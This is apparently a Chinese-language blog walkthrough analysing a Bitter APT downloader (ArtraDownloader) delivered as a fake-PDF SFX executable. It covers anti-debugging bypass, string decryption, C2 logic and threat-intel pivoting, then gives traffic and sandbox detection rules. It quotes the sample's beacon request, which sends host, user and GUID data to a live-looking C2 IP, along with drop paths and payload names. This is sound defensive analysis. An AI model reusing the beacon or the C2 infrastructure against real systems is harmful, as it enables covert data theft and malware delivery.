分析到一个简单又经典的样本,想想最近比较无聊就好好写写APT分析的部分吧!本文仅从样本分析角度出发,样本来源以及溯源部分就不多啰嗦了(写了但是太长了,一起发阅读性很差就不发了,而且也不是很有代表性,以后有机会发个别的。)
初始载荷信息
攻击的初始载荷是一个文件名为双后缀名的文件“开证装期邮件.pdf.exe”,这是一种常见的文件伪装方式,利用Windows的扩展名显示设置(“隐藏已知文件类型的扩展名”)伪装真实的.exe后缀,再选择高级自解压选项中自定义自解压文件图标,选择让exe文件看起来像PDF文档,诱骗用户打开。不过由于自解压格式的图标来源于文件,而不是系统自带的图标:
时常出现画风不同的C位出道场面(一看就是自带剧本的):
VT搜索该文件MD5可以看到有52/69的高检测率,匹配的YARA规则名可以解释为隐藏为PDF的SFX自解压文件:
SFX自解压文件,是一种压缩软件生成的exe文件,拥有执行后可以解压释放文件并执行的特性,通常被病毒文件用来捆绑掩饰文档或其他白文件进行伪装。可将文件后缀改为rar,使用压缩软件打开,查看其中的文件和相关代码和解压,或者在文件属性的注释中也可以看到。如本文中的样本运行后会在“C:\intel\logs”路径下释放“dlhost.exe”并执行:
直接双击运行exe使初始载荷在指定路径下释放文件也行,多一个步骤要找一下文件。一般来说解压比较方便,但是有些样本会检测是否在设置的目录下运行,不是则退出,分析时需注意这一点(本文样本无此检测)。
有效载荷dlhost.exe
结论先行,带入结论看内容比较容易看进去。“dlhost.exe”经过分析后发现为APT组织蔓灵花常用的下载器,用来收集受害者计算机信息和创建套接字通信,从远程服务器下载插件完成其他功能的操作。在分析之前,建议先做一些准备工作,磨刀不误砍柴工~
去除随机基址
由于PE的特性,程序有基址随机化的问题,那么在分析前,需要查看并修改为不随机的情况,便于下断点分析后调试的配置文件(.udd)在重新运行后还能生效。方式有多种,比较简单的是使用010Editor查看PE文件,将在PE结构中有字段“(NtHeader→OptionalHeader→DllCharacteristics→)IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE”,如果数值为1,即开启了“基址重定位”(动态随机基址),现将其修改为0后保存文件:
也可以自己写脚本或者可执行程序将其修改。
查看断点
如果没有特地隐藏或者处理要使用的函数的情况(可“一般”是有的),查看IDA的导入表窗口中显示的函数,可以推测出一些功能,发现有:1.套接字通信的函数,那么存在套接字通信(好绕):
2.文件操作函数,包括创建/打开、读取和写入等。可以推测有创建文件、读取文件、移动文件等操作:
3.获取信息操作:
那么此时可以通过导入表有个初步的判断,这是一个有获取计算机和用户信息,并且有文件操作的联网恶意软件——基本上已经可以推测出这是下载器或文件窃取器了。
反调试
一般来说恶意软件都会有反调试功能,反调试的方向也分多类,如:探测Windows调试器、识别调试器行为、干扰调试器的功能等。在《恶意代码分析实战》第16章反调试技术、《逆向工程核心原理》第51章静态反调试技术&第52章动态反调试技术都有详细介绍,一般工作中遇到“Sleep”和“IsDebuggerPresent”比较多。本样本虽无干扰调试的“Sleep”,但有检测调试环境的“IsDebuggerPresent”,问题不大,“15PB OD”的插件大礼包中“Hide Debugger”已将该函数的返回值HOOK,即反反调试(狗头):
对API下断并检查
将样本拖入OD后,对敏感API函数下断,如:
套接字通信中发送数据的“send”; 文件操作的“CreateFileW”、“ReadFile”和“WriteFile”; 用于执行恶意载荷或命令的“ShellExecuteA”等。
接着可以“Alt+B”或菜单栏下的“B”(Break,断点之意),查看已下的断点,想取消断点时从这里也可以快速的找到:
查看后“Alt+C”或菜单栏下的“C”,可返回反汇编窗口。
查看函数调用
返回后可以使用右键“查找”功能中的“所有模块间的调用”,查看有无异常情况(那当然是有的):
大事不妙!异常就是大量调用动态获取函数地址的“GetModuleHandleW”+“GetProcAddress”,这是一种常见的规避检测的方式,并且也是一种反静态分析手段:
在IDA处找到对应的函数或代码后,使用IDA的脚本功能(Shift+F2):
使用IDA的重命名函数“MakeNameEX”编写的命令“MakeNameEx(long ea, string name, long flags);”。可以用Notepad++/Excel等编辑工具或Python/BAT脚本,将命令批量化处理后如下,复制粘贴后RUN:
将地址进行重命名,便于静态分析:
出现个别因为已有该名称所以冲突不能重命名的,单独重命名(N键)一下即可:
调试运行
IDA导出表可以查看到主函数“Start”地址,下断后F9可直接运行到断点处,进行调试分析。
解密操作
在IDA界面还可以发现比较重要的功能代码在函数401C80处,其中有大量的if+Do While循环解密(解密方式-= 0xD),问题不大,在解密函数完成后的那行代码下断:
此处建议看看解密出的内存都是什么数据,如果发现特殊的字符串或数据需要特地跟踪一下。比如此样本中解密的部分数据就很明显包括注册表路径、外连的URL字符串、和一串疑似指令的字符串“Yes file”。这其实就是解密出了配置文件:
环境检测
如上上图所示,解密后就调用“CreateSemaphoreA”创建信号量“7t56yr54r”,接着调用“GetLastError”检测信号量是否创建成功,如果错误码为定义“ERROR_ALREADY_EXISTS”的183(0xB7),即代表内存中已存在运行中的该进程,那么其后续的函数40C234必然是退出进程函数(或者有可能进入扰乱分析或者伪装功能的代码):
通常恶意的可执行文件会通过CreateMutex创建互斥体或CreateSemaphore创建信号量(蔓灵花该下载器都是用信号量)+“GetLastError”获取错误码的方式让恶意进程在内存中保持唯一运行的状态,避免互相干扰。那么由此可以逆推,其实主要的功能代码,一般是在判断完互斥体或信号量后的部分(或者其他检测行为后)。时间比较紧迫的情况,可以考虑定位到检测+“GetLastError”后,“if”判断不成立的逻辑条件进行分析。由于本人调试分析时,常利用火绒剑等监测工具监测后台运行的该进程,故“GetLastError”的返回值为0xB7,此步可以通过修改寄存器的ZF标志位跳过此步跳转:
网络行为
初始化操作和解密操作等非恶意功能代码比较多,先用IDA找比较重要的函数分析,再用OD按F4到CALL行查看其传入的参数,如外连“http://162.0.229.203/RguhsT/RguhsT/”:
由于分析时大部分情况是不建议联网的,且有可能外连的域名或IP已失效,在套接字通信后的if判断处修改跳转。不跳就结束嘞(“Tab”键查看流程图或者在“Graph overview”中可以看出,如果不跳就跳过大段代码结束了):
将光标定位到“if”判断connect返回的结果处,按“Tab”键查看IDA的反汇编窗口,可以看到“if”的关键地址是“0x403678”,下断运行到此处后修改ZF标志位,让其不跳转即可:
数据及其来源
套接字连接成功后的第一个函数402F40里调用了系统API“GetComputerNameA”,查看其保存获取到数据ComputerName在何处被引用,发现函数402F40末尾有大量调用同一函数40C318和同一内存地址0x435598。在“GetComputerNameA”和函数40C318间,这部分代码中有“GetUserNameA”、“RegQueryValueExA”、和“GetSystemInfo”等获取信息的函数后,推测函数402F40为计算机信息的字符串拼接:
有了这个推测后,在最后一次调用40C318处下断,数据窗口监视对应的首参内存地址“0x435598”:
确实拼接出带有计算机信息的字符串“ a=HostName&b=COMPUTERNAME&c=Windows%207%20Professional&d=AdministratorAdministratorf9117a5d-b155-4a3e-b6c9-5ae181247d3b165536040965860”,可以分解为以下的格式:
a = [HostName] b = [ComputerName] c = [电脑系统信息] d = [UserName][GUID]
其中d值比较奇怪,使用交叉引用查看该写入值的调用,可以发现其值为UserName和调用“RegQueryValueExA”获取的GUID:
以懒人思维来说,定位这类数据来源的步骤是可以省略的,仅需将计算机信息(如计算机名,用户名,MAC地址、IP地址、GUID、甚至是偏门如C盘卷序列号的数据)修改或记录其数据即可。上面图中显示的调试环境的计算机就是如此,一般分析了这么多样本,看到自己的GUID数据也能认出来,只是为了演示一下如何交叉引用定位。或记住GUID格式为“xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx”(8-4-4-4-12)。所以d值的数据为[UserName][UserName][GUID][dwActiveProcessorMask][dwAllocationGranularity][dwOemId][dwPageSize][dwProcessorType][wProcessorArchitecture],现在又可以把[dwActiveProcessorMask][dwAllocationGranularity][dwOemId][dwPageSize][dwProcessorType][wProcessorArchitecture]数据记到小本本里了~
数据使用
将IDA中该储存计算机数据的内存地址重命名后,查看该内存地址的交叉引用可以发现被多个函数调用,而最后一个调用的函数401080,该函数的首参(通常是比较重要的参数)后续成为了“Send”函数参数中要发送的数据缓冲区,此处可以推测401080函数为拼接待发送数据:
跳转到调用401080处,可以明显看到是构建GET方法的HTTP报文数据。其实不用跳转,通过传参的数量/格式和前后调用的函数其实也可以推测出这段代码是构建HTTP报文:
Send发送上线包
查看“Send”函数的要发送的数据缓冲区(第二个参数地址),可以看到拼接好要发送的数据:
木马程序发送的第一个包还带有计算机信息的,通常可以叫做上线包:
GET ///RguhsT/accept.php a=HostName&b=COMPUTERNAME&c=Windows%207%20Professional&d=AdministratorAdministratorf9117a5d-b155-4a3e-b6c9-5ae181247d3b165536040965860&e=efgh HTTP/1.1 Host: 162.0.229.203
此处可以发现有比较明显的流量特征,家里有沙箱/流量检测设备的同学可以设置为流量检测规则:
特征:http_url= a=*b=*c=*e= URL编码后:http_url=a%3d*b%3d*c%3d*d%3d 加上GET方法为:http_url=a%3d*b%3d*c%3d*d%3d&http_method=GET
这个规则的误报率估计不低,给c值加上“Windows”可以降低一些误报率
http_url=a%3d*b%3d*c%3dWindows*d%3d&http_method=GET
如果家里有条件的同学,可以以安全研究/APT追踪发现的角度设置该流量规则,然后再过一遍沙箱规则或YARA规则;如果是部署到客户现场的流量检测设备,则不建议部署。沙箱如果像我的调试环境一样用户名电脑名主机名是固定字符串的话,再写死对其他值的判断,基本就没有误报了。除非这个上线包来自开源项目,被很多恶意软件使用,那就需要增加其他判断条件,此步在下文的“通过VT扩线”中有详述。
Recv接受返回数据
一般“Send”发送上线包后就是“Recv”从远程服务器接受命令或文件,查看“Recv”从远程服务器获取的数据有什么交叉引用,发现函数408550明显有C2指令判断:
有部分内存数据为运行后才被解密的字符串,可以在上述的字符串解密操作后,在IDA里将对应的内存地址重命名,或者在动态运行时已经是解密后的数据。为了进入预定义C2指令的逻辑,可以在“Recv”执行后将函数408550的第二个参数手动修改为“Yes file”,或者修改字符串对比判断后的跳转也行,具体看后续执行的代码,本样本直接修改跳转更方便:
一般接收C2指令后的判断处建议做个快照,看看跳不跳转分别执行了哪些功能。如当有多个C2指令进入不同的逻辑分支执行不同的代码时,分析完其中一个跳转后可以恢复快照,通过修改跳转或下一跳地址(EIP)无缝衔接分析下一个分支逻辑。该样本如果不满足“Yes file”指令后的代码逻辑就是退出,此处不做展示。进入“Yes file”的代码逻辑后,可以明显看到有大量对接收数据的操作,如提取数据的代码:if判断长度+DoWhile循环中嵌套一个if判断数据,最后memmove保存:
由于数据不方便公开及教学意义,此处按照无法获取数据的情况进行接下来的分析。对接受的数据结合上下文代码进行推测:1.一般来说,对数据进行各种提取/解密/判断后的最后一个内存块地址0x4351F7可以优先分析。发现最后被操作的内存块在后续代码中被函数40EB61多次调用;2.函数40EB61最后一次调用的首参,同时也是字符串拼接函数“strcat”的首参,而拼接的另一个字符串为解密后的字符串“.exe”;3.那么可以推测该文件为一个exe文件,查看其交叉引用,发现是执行程序的函数“ShellExecuteA”的参数,并且执行动作的参数为“open”——也就是运行了一个EXE文件:
而在调试器运行到“ShellExecuteA”之前,中间大部分的函数为对文件的一些操作,可能会触发一系列文件操作函数,这一步调试分析的意义不是很大。从远程服务器获取数据到本地执行的这个过程,或许有文件解密操作,通过逆出解密算法,可以还原出PE文件的加密数据(或者从流量里Dump),写出下载加密PE文件的流量规则。至此,该样本的功能已经很清晰了,下载器运行后会收集受害机器的信息拼接为字符串,构建上线包发送给远程服务器,从远程服务器获取exe文件的数据并运行。这种有外连下载exe运行操作的恶意文件通常归类为下载器(Downloader/Loader),APT组织蔓灵花常使用下载器在受害机器上安装其他的恶意功能插件,如键盘记录器、文件记录器或者远控木马。一般这些文件存放在下载器发送上线包的远程服务器下,此时通过VT搜索IP或者域名,查看其关联文件,可能会有收获。
通过VT扩线
搜索远程服务器IP“162.0.229.203”,在“Relations”,可以看到多个域名,部分字符串“pop3”、“webmail”、“mail”和邮件服务相关,符合钓鱼邮件攻击的信息:
“Communicating Files”下也有多个关联文件,通过时间可以发现来自多个攻击活动:
点开关联文件中其他攻击活动的样本的“Behavior”,可以发现有两个比较固定的信息。1.GET请求的URL:
2.释放文件到“C:\intel\logs\dlhost.exe”:
通过上面两个信息,写沙箱规则可以比较准确地抓到初始攻击载荷:
Files Dropped = C:\\intel\\logs\\dlhost.exe HTTP Requests = http_url=a%3d*b%3d*c%3dWindows*d%3d&http_method=GET
在IP的“Details”页面可以看到其“Google Results”中,有关联到蔓灵花历史攻击活动的报告,以及在线沙箱跑出的带有该IP的报告:
从以往攻击活动的在线沙箱报告中可以看到其他插件的信息,如在%TEMP%路径下释放文件“rgdl.exe”,该文件有PDB信息“D:\C++\Reg_Entry\reg_en\Release\reg_en.pdb”,在蔓灵花早期的攻击中曾名为“regdl”:
“rgdl.exe”是一个注册表操作器,将“audiodq.exe”路径写入注册表的Run项,用于建立恶意可执行程序(“audiodq.exe”)的开机自启动:
上述两个exe都是可以通过在线网站扩线到的蔓灵花常用的插件。再搜索这两个字符串进行扩线,可以找到更多的历史攻击载荷、开源情报、甚至更完整的攻击活动报告。从开源情报中发现该下载器被命名为“ArtraDownloader”,源自2019年Palo Alto Networks公开发布的报告:
利用收集到的信息,组合搜索到以往历史攻击活动,发现多个本次活动未出现的插件,如键盘记录器“Igfxsrvk.exe”,信息收集器“Lsap.exe”,远控木马“MSAServices”和“MSAServicet”等。虽然与本次攻击活动的样本无强关联的关系,一般来说都是这几个搭配着使用,可以作为日常积累进行分析记录。分析APT组织常用的TTPs(攻击手法),将完整的攻击链分解为多个阶段,将多次攻击活动的样本名称、MD5、功能都记录保存之后,以文件名、PDB信息、C2指令,沙箱行为等信息进行组合,写出多角度多层级的检测规则。在理论理想(重音)的信息复利下,可以更好地发现、预警APT攻击活动,跟踪APT组织的手法演进。
结语
蔓灵花的常用下载器ArtraDownloader分析到这里就结束啦~分析透一个经典的样本后,就相当于掌握了一个类型的病毒,恶意功能和实现的代码都是大同小异的。通过大量的分析和积累经验《机器学习》理解原理后就可以更快的找到断点和不同处。再将其特征应用到检测环境中,发现或追踪APT组织的攻击活动,甚至在大量的历史攻击手法演变数据下进行未来攻击的预测(如StrongPity(下期再见)),掌握先机拉取更多的恶意载荷,为下一次极速响应争取时间。
最后多说几句:
为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。干货主要有:① 2000多本网安必看电子书(主流和经典的书籍应该都有了)② PHP标准库资料(最全中文版)③ 项目源码(四五十个有趣且经典的练手项目及源码)④ 网络安全基础入门、Linux运维,web安全、渗透测试方面的视频(适合小白学习)⑤ 网络安全学习路线图(告别不入流的学习)